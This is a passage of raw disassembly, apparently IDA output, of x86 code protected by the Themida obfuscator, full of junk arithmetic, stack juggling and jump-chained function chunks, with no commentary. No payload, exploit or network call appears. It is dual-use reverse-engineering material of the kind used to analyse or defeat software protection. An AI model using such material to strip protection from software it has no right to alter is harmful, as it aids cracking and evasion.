sub_559C84+3EDEj mov ebp, [esp+0] add esp, 4 dec edx sub edx, 48D76FACh add edx, 0C24592E7h add ebp, edx mov edx, [esp+32h+var_34+2] add esp, 4 add ebp, 4 xor ebp, [esp+2Eh+var_30+2] jmp loc_55F89F ; --------------------------------------------------------------------------- loc_5579DE: ; CODE XREF: sub_559C84+33CAj add esi, 4 add esi, 4 xor esi, [esp+2Eh+var_30+2] xor [esp+2Eh+var_30+2], esi xor esi, [esp+2Eh+var_30+2] jmp loc_55CAAF ; --------------------------------------------------------------------------- loc_5579F5: ; CODE XREF: sub_559C84-E8Dj pop edi sub ecx, edi pop edi neg ecx shr ecx, 1 push ecx not [esp+2Ah+var_2C+2] jmp loc_558B70 ; --------------------------------------------------------------------------- loc_557A06: ; CODE XREF: sub_559C84-3B5Aj add esp, 4 xchg edi, [esp+3Ch+var_3E+2] pop esp jmp loc_5545E4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557A15 proc near ; CODE XREF: sub_559C84+4D7Fj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F40E SIZE 0000000C BYTES push ebp push esp pop ebp add ebp, 4 jmp loc_55F40E sub_557A15 endp ; --------------------------------------------------------------------------- loc_557A23: ; CODE XREF: Themida_:00554234j push edx mov dx, si mov bx, dx jmp loc_556B2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DBF3 loc_557A2F: ; CODE XREF: sub_55DBF3+3j add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop [esp+4+var_4] jmp loc_55CA63 ; END OF FUNCTION CHUNK FOR sub_55DBF3 ; --------------------------------------------------------------------------- loc_557A46: ; CODE XREF: Themida_:0055F8FEj mov eax, 4 sub ecx, eax pop eax xchg ecx, [esp] jmp loc_558025 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557A56: ; CODE XREF: sub_559C84+16F9j pop esp sub esp, 4 mov [esp+38h+var_3A+2], esi mov esi, 2E2D2242h neg esi add esi, 2E2D2246h jmp loc_5574DB ; --------------------------------------------------------------------------- loc_557A6F: ; CODE XREF: sub_559C84-4B33j mov edi, esp add edi, 4 sub edi, 4 jmp loc_5592EE ; --------------------------------------------------------------------------- loc_557A82: ; CODE XREF: sub_559C84+404j mov [esp-0Eh+arg_8+2], eax jmp sub_5586DD ; --------------------------------------------------------------------------- loc_557A8A: ; CODE XREF: sub_559C84+46ABj xor dl, 0F5h jmp loc_557662 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_557A92: ; CODE XREF: Themida_:00553B3Cj xor ecx, 3B2CA78Bh mov edi, ecx pop ecx jmp loc_5583A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557AA0: ; CODE XREF: sub_559C84+5E22j mov ecx, 4 add [esp-0Eh+arg_C+2], ecx pop ecx pop esi sub esp, 4 mov [esp-12h+arg_C+2], eax push 24h push [esp-0Eh+arg_8+2] mov eax, [esp-0Ah+arg_4+2] push eax mov eax, esp push ecx mov ecx, 16BB7FA6h add ecx, 479C63E9h inc ecx jmp loc_55C825 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557AD1 proc near ; CODE XREF: sub_559C84+4AAj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebx push esi mov esi, 53CB62DBh or esi, 26F4672Dh add esi, 88009805h mov ebx, esi jmp loc_55D471 sub_557AD1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557AF0: ; CODE XREF: sub_559C84-285Ej add esp, 4 mov ebp, esi pop esi push 3DFCh jmp loc_5572A8 ; --------------------------------------------------------------------------- loc_557B03: ; CODE XREF: sub_559C84-14B4j xchg eax, [esp+70h+var_70] pop esp jmp loc_55351F ; --------------------------------------------------------------------------- loc_557B0C: ; CODE XREF: sub_559C84-30E0j mov ebp, 4FDA0656h shr ebp, 4 jmp loc_55E9B3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- db 4, 31h, 4 dd 0E9242C25h, 0FFFFCECEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557B24: ; CODE XREF: sub_559C84-4F1Fj pop edi jmp loc_55D7BE ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E342 loc_557B2A: ; CODE XREF: sub_55E342+3j add ebp, 4 jmp loc_55D912 ; END OF FUNCTION CHUNK FOR sub_55E342 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557B35: ; CODE XREF: sub_559C84-DE9j sub ecx, 551A4F5Eh sub ecx, 14EB4E92h pop edi and eax, ecx mov ecx, [esp+0] jmp loc_556E46 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557B4C proc near ; CODE XREF: sub_559C84+1F1Bj arg_0 = dword ptr 4 push ebx mov ebx, 0FA1420h sub [esp+4+arg_0], ebx jmp loc_55C83F sub_557B4C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557B5B: ; CODE XREF: sub_559C84-1C4Dj add edx, 4 sub edx, 4 jmp loc_55F303 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 sub ebx, edi pop edi jmp loc_55F435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557B85: ; CODE XREF: sub_559C84+10C5j dec edi neg edi or edi, 5CD444ECh sub edi, 0DDDFD5EAh jmp loc_55EAB3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557B99 proc near ; CODE XREF: sub_559C84+5845j ; FUNCTION CHUNK AT 00554138 SIZE 0000000D BYTES push ebp mov ebp, 40410EE7h sub ebp, 40410EE3h add edi, ebp jmp loc_554138 sub_557B99 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557BAC: ; CODE XREF: sub_559C84+3406j push dx mov dl, 67h add ah, dl pop dx sub bl, 9Ah add bl, ah add bl, 9Ah pop eax sub bl, 0C4h sub bl, al add bl, 0C4h push eax mov al, 10h jmp loc_55DA5A ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_557BCD: ; CODE XREF: Themida_:0055EBCEj mov [esp], ebx push edx mov dh, 0D2h mov bh, 0E4h add bh, 0A2h add bh, dh sub bh, 0A2h pop edx jmp loc_55C063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557BE3: ; CODE XREF: sub_559C84-3FFDj pop eax push dx mov dh, 2Eh sub al, dh jmp loc_55A243 ; --------------------------------------------------------------------------- loc_557BEF: ; CODE XREF: sub_559C84+3E7Dj push edx push ebp mov ebp, 7D57042Ah mov edx, 0AD4580DFh sub edx, ebp jmp loc_55C67D ; --------------------------------------------------------------------------- loc_557C02: ; CODE XREF: sub_559C84-F47j xor eax, ebx push 6F02h mov [esp+32h+var_34+2], ecx sub esp, 4 mov [esp+0], ebp push edi mov edi, 5E8E17E1h jmp loc_55CB09 ; --------------------------------------------------------------------------- loc_557C20: ; CODE XREF: sub_559C84+4ED2j sub ebp, 2 xchg ebp, [esp+3Ah+var_3A] pop esp mov [esp+0], cx push eax mov ah, 22h jmp sub_558D95 ; --------------------------------------------------------------------------- loc_557C36: ; CODE XREF: sub_559C84+5E18j pop edi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+3Ah+var_3A] pop esp push eax jmp loc_5598E5 ; --------------------------------------------------------------------------- loc_557C4D: ; CODE XREF: sub_559C84+166j push edx jmp loc_555D2D ; --------------------------------------------------------------------------- loc_557C53: ; CODE XREF: sub_559C84+2883j add edx, 4 jmp loc_55AD92 ; --------------------------------------------------------------------------- loc_557C5E: ; CODE XREF: sub_559C84+3D3Cj push edx sub esp, 4 jmp loc_558CE5 ; --------------------------------------------------------------------------- loc_557C6A: ; CODE XREF: sub_559C84+1789j pop esp mov [esp+42h+var_42], esi mov esi, 0B6C72CEh shr esi, 1 sub esi, 4CED132h mov ebx, 0E76835h xor ebx, esi mov esi, [esp+42h+var_42] push edx jmp loc_555E28 ; --------------------------------------------------------------------------- loc_557C8B: ; CODE XREF: sub_559C84-2978j mov eax, 22C3D1Bh mov esi, eax pop eax xor [edi+40h], esi push [esp+30h+var_30] mov esi, [esp+34h+var_34] add esp, 4 jmp sub_55ED81 ; --------------------------------------------------------------------------- loc_557CA7: ; CODE XREF: sub_559C84-E3j not ebx shl ebx, 7 jmp loc_557D6B ; --------------------------------------------------------------------------- loc_557CB1: ; CODE XREF: sub_559C84-49AEj inc esi push edi mov edi, 57E17DDCh shr edi, 4 jmp loc_55D3BB ; --------------------------------------------------------------------------- loc_557CC0: ; CODE XREF: sub_559C84-37E8j mov ebx, ebp pop ebp add ecx, ebx push [esp+46h+var_46] pop ebx add esp, 4 xchg ecx, [esp+42h+var_42] pop esp add esp, 4 shr ecx, 2 push ecx jmp loc_559D1D ; --------------------------------------------------------------------------- loc_557CDC: ; CODE XREF: sub_559C84-4940j add edx, 7E40D94h shl edx, 8 or edx, 65371ADAh jmp loc_5599DF ; --------------------------------------------------------------------------- loc_557CF0: ; CODE XREF: sub_559C84-5B24j add al, 87h pop dx push ebx mov bh, 90h add al, bh pop ebx push edx mov dl, 0ACh sub esp, 2 mov word ptr [esp+0Ah+var_C+2], dx not byte ptr [esp+0Ah+var_C+2] pop dx xor dl, 4Ah push cx jmp sub_557F5F ; --------------------------------------------------------------------------- loc_557D13: ; CODE XREF: sub_559C84-322Aj jmp loc_55351F ; --------------------------------------------------------------------------- loc_557D18: ; CODE XREF: sub_559C84-3211j add esi, 4 add esi, 4 xor esi, [esp+44h+var_46+2] xor [esp+44h+var_46+2], esi xor esi, [esp+44h+var_46+2] pop esp jmp loc_55BC7A ; --------------------------------------------------------------------------- loc_557D33: ; CODE XREF: sub_559C84-4745j pop small word ptr [eax] jmp loc_55351F ; --------------------------------------------------------------------------- loc_557D3B: ; CODE XREF: sub_559C84-3460j xchg ebp, [esp+44h+var_46+2] mov esp, [esp+44h+var_46+2] movzx eax, al push dword ptr [edi+eax*4] push 5136h mov [esp+4Ch+var_4E+2], ebx push eax mov eax, 490E286Ah inc eax push ebp mov ebp, 7BAF751Eh neg ebp xor ebp, 0A2CAF6D5h or eax, ebp jmp loc_5595F8 ; --------------------------------------------------------------------------- loc_557D6B: ; CODE XREF: sub_559C84-1FD8j inc ebx xor ebx, 0B441E46Ch mov ecx, ebx jmp loc_553B51 ; --------------------------------------------------------------------------- loc_557D79: ; CODE XREF: sub_559C84+3E14j add edx, 5CDF1629h pop esi jmp loc_555475 ; --------------------------------------------------------------------------- loc_557D85: ; CODE XREF: sub_559C84+57D9j xor eax, edx jmp loc_558C48 ; --------------------------------------------------------------------------- loc_557D8C: ; CODE XREF: sub_559C84+AA3j sub ebx, edi jmp loc_55AECC ; --------------------------------------------------------------------------- loc_557D93: ; CODE XREF: sub_559C84+5CF9j inc edx push edi mov edi, 5EED3B16h not edi or edi, 5B8D58C4h shl edi, 5 add edi, 66070EA0h jmp loc_55F9C3 ; --------------------------------------------------------------------------- loc_557DB0: ; CODE XREF: sub_559C84-5D50j sub esi, 0CA519C6h sub esi, ebx add esi, 0CA519C6h pop ebx add esi, ebp add esi, 63A50E54h push dword ptr [esp+0] pop ebp add esp, 4 add esi, 2 xchg esi, [esp-6+arg_0+2] mov esp, [esp-6+arg_0+2] push ebx mov bh, dl push 303Bh jmp loc_5594F0 ; --------------------------------------------------------------------------- loc_557DE7: ; CODE XREF: sub_559C84+2B47j pop esi jmp loc_55F799 ; --------------------------------------------------------------------------- loc_557DED: ; CODE XREF: sub_559C84+4673j sub ecx, 4 xchg ecx, [esp+0] pop esp mov [esp-6+arg_0+2], eax mov eax, ebx push ebx mov ebx, eax mov esi, ebx pop ebx mov eax, [esp-6+arg_0+2] add esp, 4 jmp sub_557380 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5571E4 loc_557E0D: ; CODE XREF: sub_5571E4+183Bj mov si, 3FC9h add si, 0FFEEh sub di, 3699h jmp loc_55B860 ; END OF FUNCTION CHUNK FOR sub_5571E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557E20: ; CODE XREF: sub_559C84+3ABFj shr esi, 8 inc esi push eax mov eax, 576596A8h add esi, eax jmp loc_554251 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5553CB loc_557E31: ; CODE XREF: sub_5553CB+Bj mov esi, edi mov edi, [esp+4+var_4] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] jmp loc_55A24E ; END OF FUNCTION CHUNK FOR sub_5553CB ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- push 6DABh mov [esp], eax jmp loc_5566C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557E5D: ; CODE XREF: sub_559C84+12F9j mov [esp-6+arg_0+2], edx mov edx, esi mov ebx, edx pop edx jmp loc_55DA3D ; --------------------------------------------------------------------------- loc_557E6A: ; CODE XREF: sub_559C84+5920j inc edi sub edi, 9D9508BCh mov edx, edi jmp loc_553FC5 ; --------------------------------------------------------------------------- loc_557E78: ; CODE XREF: sub_559C84+2ACDj add esi, 56BA21BBh add esi, edi sub esi, 56BA21BBh pop edi sub esi, 2 xchg esi, [esp-0Eh+arg_8+2] mov esp, [esp-0Eh+arg_8+2] mov word ptr [esp-0Eh+arg_8+2], ax jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_557E9C: ; CODE XREF: Themida_:0055E131j push eax mov eax, 6839600Ah mov esi, eax pop eax jmp loc_55E459 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557EAA: ; CODE XREF: sub_559C84-F86j pop eax or ebx, edx pop edx shl ebx, 8 push edi push eax push ecx push 257612F5h pop ecx jmp loc_55EF01 ; --------------------------------------------------------------------------- loc_557EBF: ; CODE XREF: sub_559C84+5536j pop ecx pop ebp xchg edi, [esp-12h+arg_C+2] pop esp jmp loc_55351F ; --------------------------------------------------------------------------- loc_557ECA: ; CODE XREF: sub_559C84-278Aj pop edx add esp, 4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557ED1 proc near ; CODE XREF: sub_559C84+2D53j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055E31F SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, esp push ebx mov ebx, 4 jmp loc_55E31F sub_557ED1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557EE7: ; CODE XREF: sub_559C84+C11j movzx eax, al push dword ptr [edi+eax*4] push [esp+18h+var_18] pop eax push esi mov esi, esp sub esp, 4 mov [esp+20h+var_20], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+20h+var_20] jmp loc_5565D8 ; --------------------------------------------------------------------------- loc_557F0D: ; CODE XREF: sub_559C84-1499j jmp loc_55351F ; --------------------------------------------------------------------------- loc_557F12: ; CODE XREF: sub_559C84+1A43j neg ebp add ebp, 4E624C0Dh jmp loc_55A58A ; --------------------------------------------------------------------------- loc_557F1F: ; CODE XREF: sub_559C84-481Fj add [esp+44h+var_46+2], 4 mov esi, [esp+44h+var_46+2] add esp, 4 add esi, 4 sub esp, 4 mov [esp+44h+var_46+2], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+44h+var_46+2] pop esp mov [esp+40h+var_42+2], ebx mov ebx, 4 sub esi, ebx jmp loc_55DC75 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557F5F proc near ; CODE XREF: sub_559C84-1F76j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], eax push edx push eax mov al, 44h dec al not al add al, 34h jmp loc_55CD3F sub_557F5F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557F74: ; CODE XREF: sub_559C84+AAj pop esp mov [esp+38h+var_3A+2], ebp push ebx sub [esp+3Ch+var_3E+2], 53106C7h jmp loc_5535EB ; --------------------------------------------------------------------------- loc_557F85: ; CODE XREF: sub_559C84+3F6Aj pop esp jmp loc_55C9D5 ; --------------------------------------------------------------------------- loc_557F8B: ; CODE XREF: sub_559C84+5368j add al, dh jmp loc_55F356 ; --------------------------------------------------------------------------- loc_557F92: ; CODE XREF: sub_559C84-3D05j mov ch, ah jmp loc_55872F ; --------------------------------------------------------------------------- loc_557F99: ; CODE XREF: sub_559C84-4C57j push esi push esp jmp loc_55DEFA ; --------------------------------------------------------------------------- loc_557FA0: ; CODE XREF: sub_559C84-60Cj add esi, 4 xchg esi, [esp+52h+var_52] pop esp jmp loc_555B79 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557FAF proc near ; DATA XREF: Themida_:00553478o push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp+0], cl pushf jmp loc_55351F sub_557FAF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557FBE: ; CODE XREF: sub_559C84+34B0j add edx, 49E67266h sub edx, 15330BAFh jmp loc_55812D ; --------------------------------------------------------------------------- loc_557FCF: ; CODE XREF: sub_559C84-1300j push esi push eax jmp loc_559E75 ; --------------------------------------------------------------------------- loc_557FD6: ; CODE XREF: sub_559C84-386Ej add ebx, 4 xchg ebx, [esp+5Eh+var_60+2] pop esp push 4740h mov [esp+5Eh+var_60+2], ebx jmp loc_55CEDE ; --------------------------------------------------------------------------- loc_557FED: ; CODE XREF: sub_559C84-2690j pop edx push [esp+4Eh+var_4E] pop eax jmp loc_5593F5 ; --------------------------------------------------------------------------- loc_557FF7: ; CODE XREF: sub_559C84-2778j add esp, 4 sub ebx, edi jmp loc_559437 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558BA2 loc_558001: ; CODE XREF: sub_558BA2+Ej add ecx, ebx pop ebx xor eax, ecx mov ecx, [esp+0] jmp loc_55391C ; END OF FUNCTION CHUNK FOR sub_558BA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55800E: ; CODE XREF: sub_559C84-64A1j pop eax push 17ABh mov [esp+24h+var_24], esi jmp loc_55F31F ; --------------------------------------------------------------------------- loc_55801C: ; CODE XREF: sub_559C84+1791j mov ax, word ptr [esp+24h+var_24] jmp loc_55866A ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558025: ; CODE XREF: Themida_:00557A51j pop esp jmp loc_55AACE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55802B: ; CODE XREF: sub_559C84+621j add eax, 4 xchg eax, [esp+24h+var_24] pop esp push edx mov edx, esp jmp loc_557B5B ; --------------------------------------------------------------------------- loc_55803C: ; CODE XREF: sub_559C84-39BFj or ebp, 1CF75158h dec ebp xor ebp, 3BBC56AEh sub ebp, 3CC1BF75h and edi, ebp pop ebp jmp loc_559A9A ; --------------------------------------------------------------------------- loc_558057: ; CODE XREF: sub_559C84+3E45j mov eax, esp push ebp push edi mov edi, 6CD174CAh jmp loc_55CA14 ; --------------------------------------------------------------------------- loc_558065: ; CODE XREF: sub_559C84+398j push edi mov edi, esp push 90Fh mov [esp+48h+var_4A+2], eax push ebx push edx push 32EA73B3h pop edx jmp loc_55987A ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5538DF loc_55807D: ; CODE XREF: sub_5538DF+Bj pop ebx neg dh push bx jmp loc_558649 ; END OF FUNCTION CHUNK FOR sub_5538DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558087: ; CODE XREF: sub_559C84+5AF0j sub ebp, ecx mov ecx, [esp+50h+var_52+2] jmp loc_55BE52 ; --------------------------------------------------------------------------- loc_558091: ; CODE XREF: sub_559C84+D8Ej push [esp+50h+var_52+2] pop edi add esp, 4 sub esp, 4 mov [esp+50h+var_52+2], edx mov edx, 4 add esi, edx pop edx jmp loc_55EA45 ; --------------------------------------------------------------------------- loc_5580AB: ; CODE XREF: sub_559C84-1016j mov ebx, 4 sub esi, 258163B0h add esi, ebx jmp loc_554CF3 ; --------------------------------------------------------------------------- loc_5580BD: ; CODE XREF: sub_559C84-3C62j bswap eax push 31B6h mov [esp+46h+var_46], eax jmp loc_55351F ; --------------------------------------------------------------------------- loc_5580CC: ; CODE XREF: sub_559C84-755j mov bh, dh pop edx jmp loc_55B32C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F569 loc_5580D4: ; CODE XREF: sub_55F569-7292j push esi mov esi, 0E085346h or esi, 662B0F8Fh shl esi, 3 jmp loc_55ADD8 ; END OF FUNCTION CHUNK FOR sub_55F569 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push 548Dh jmp loc_55CDAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558105: ; CODE XREF: sub_559C84+3DD9j xor ch, 0FDh add al, 4Ch sub al, ch jmp loc_55616E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558111: ; CODE XREF: Themida_:0055656Cj pop ecx jmp loc_55D2DB ; --------------------------------------------------------------------------- loc_558117: ; CODE XREF: Themida_:005554E9j mov cl, 0A6h sub dh, cl pop cx and ch, dh pop edx sub ch, 88h sub al, ch mov ecx, [esp] jmp loc_5587D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55812D: ; CODE XREF: sub_559C84-1CBAj add edx, edi add edx, 15330BAFh push ebx mov ebx, 385523FDh inc ebx neg ebx shl ebx, 8 jmp loc_55E0F3 ; --------------------------------------------------------------------------- loc_558146: ; CODE XREF: sub_559C84+1633j and edi, 28690070h shl edi, 7 shr edi, 6 xchg ebp, edi not ebp xor edi, ebp xor ebp, edi xor edi, ebp push edx jmp loc_55FA86 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558162: ; CODE XREF: Themida_:005587DCj push dx jmp loc_553AE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558169: ; CODE XREF: sub_559C84+3A4Dj xor [esp+56h+var_58+2], ebp xor ebp, [esp+56h+var_58+2] mov esp, [esp+56h+var_58+2] jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558177: ; CODE XREF: Themida_:0055F0D9j mov esi, 161625F9h jmp loc_55D4D5 ; --------------------------------------------------------------------------- loc_558181: ; CODE XREF: Themida_:0055EB0Ej xor edi, 5BBA3461h dec edi sub edi, 384CB3E2h sub eax, edi pop edi push ebp mov ebp, 428D2B36h inc ebp add ebp, 13E80CBFh neg ebp add ebp, 3C8D1928h add ebp, 1AAC4A95h add ebp, 22D2E12h add eax, ebp pop ebp add eax, ebx push edx push edi mov edi, 5CB1243h jmp loc_557873 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5581C3: ; CODE XREF: sub_559C84-EF4j add ebp, esi mov esi, [esp+56h+var_58+2] jmp loc_55AA8E ; --------------------------------------------------------------------------- loc_5581CD: ; CODE XREF: sub_559C84+3652j sub ebx, eax push eax jmp loc_55C5FD ; --------------------------------------------------------------------------- loc_5581D5: ; CODE XREF: sub_559C84+2D4Cj xor ecx, 7DEA2972h sub ecx, 0AFAA21DDh or edx, ecx pop ecx inc edx sub edx, 0FFFFFFFFh sub edx, 7BE4567Fh push edi mov edi, 311737D5h xor edi, 1A6FD8F8h add edx, edi jmp loc_558AF4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_558204 proc near ; CODE XREF: sub_559C84-48E7j var_4 = dword ptr -4 push ebx mov eax, [esp+4+var_4] add esp, 4 mov edx, eax pop eax jmp loc_55D69B sub_558204 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558213: ; CODE XREF: sub_559C84-3CAEj sub eax, 45C56F68h jmp loc_55DFEA ; --------------------------------------------------------------------------- loc_55821D: ; CODE XREF: sub_559C84-2C19j add ebx, edx pop edx sub ebx, 57232CE8h add ebx, eax add ebx, 57232CE8h push edi push ecx jmp loc_55913D ; --------------------------------------------------------------------------- loc_558235: ; CODE XREF: sub_559C84+15DAj mov ecx, 2 sub ebp, 7DB82F96h add ebp, 1BA62DA4h add ebp, ecx sub ebp, 1BA62DA4h jmp loc_55B214 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555BE3 loc_558253: ; CODE XREF: sub_555BE3+197Ej push edi push [esp+8+var_4] jmp loc_55DD59 ; END OF FUNCTION CHUNK FOR sub_555BE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55825D: ; CODE XREF: sub_559C84+3E83j mov ecx, edx jmp loc_55EDB4 ; --------------------------------------------------------------------------- loc_558264: ; CODE XREF: sub_559C84-BACj mov al, 0F4h not al and al, 66h xor al, 6Ch jmp loc_55EFE6 ; --------------------------------------------------------------------------- loc_558271: ; CODE XREF: sub_559C84-61FCj mov eax, esp add eax, 4 push 6455h mov [esp+4Ah+var_4A], ebx mov ebx, 69186683h sub ebx, 6918667Fh add eax, ebx pop ebx xchg eax, [esp+46h+var_46] mov esp, [esp+46h+var_46] push [esp+46h+var_46] push [esp+4Ah+var_4A] pop ecx push ebp mov ebp, esp push 5325h mov [esp+52h+var_52], ecx mov ecx, 4AD130D2h or ecx, 784C19FDh neg ecx jmp loc_55B642 ; --------------------------------------------------------------------------- loc_5582B8: ; CODE XREF: sub_559C84-51CCj mov ebx, edx jmp loc_558F4B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5582BF: ; CODE XREF: Themida_:00559633j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp push ebx jmp loc_55C6A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F569 loc_5582D5: ; CODE XREF: sub_55F569+12j sub ebx, esi jmp loc_5580D4 ; END OF FUNCTION CHUNK FOR sub_55F569 ; --------------------------------------------------------------------------- mov eax, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_5592BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5582F6: ; CODE XREF: sub_559C84+5423j mov [edx+30h], ecx pop ecx popa popf retn ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558302: ; CODE XREF: sub_559C84-B91j add eax, ebx mov [eax], dl jmp loc_55F68A ; --------------------------------------------------------------------------- loc_55830B: ; CODE XREF: sub_559C84+4D64j mov ecx, esp push esi jmp loc_5561CD ; --------------------------------------------------------------------------- loc_558313: ; CODE XREF: sub_559C84-1339j mov edi, esp add edi, 4 sub esp, 4 mov [esp+2Ah+var_2C+2], ebx mov ebx, 2 jmp sub_5591C7 ; --------------------------------------------------------------------------- loc_55832E: ; CODE XREF: sub_559C84+3EA6j pop esi or ebp, 59BB5A12h jmp loc_55CF55 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_55C447 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558342: ; CODE XREF: sub_559C84+BB7j push eax mov eax, 4426165h add edi, 2A036470h sub edi, eax sub edi, 2A036470h pop eax sub edi, 2680AC2h sub edi, 177252B3h mov ecx, [esp+26h+var_28+2] add esp, 4 add edi, 2 push edi push [esp+26h+var_24+2] pop edi jmp loc_55912C ; --------------------------------------------------------------------------- loc_55837A: ; CODE XREF: sub_559C84+4CA8j pop eax push ecx mov ecx, esp add ecx, 4 push ebx push ebp mov ebp, 22C06EB4h jmp loc_559CC7 ; --------------------------------------------------------------------------- loc_558390: ; CODE XREF: sub_559C84-49F5j add ecx, 4 add ecx, 4 xchg ecx, [esp+56h+var_58+2] pop esp mov edx, [esp+52h+var_52] add esp, 4 jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5583A8: ; CODE XREF: Themida_:00557A9Bj push edi sub dword ptr [esp], 6CA97ED6h pop ecx add ecx, 6CA97ED6h pop edi add eax, ecx push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 jmp loc_559276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5583CC: ; CODE 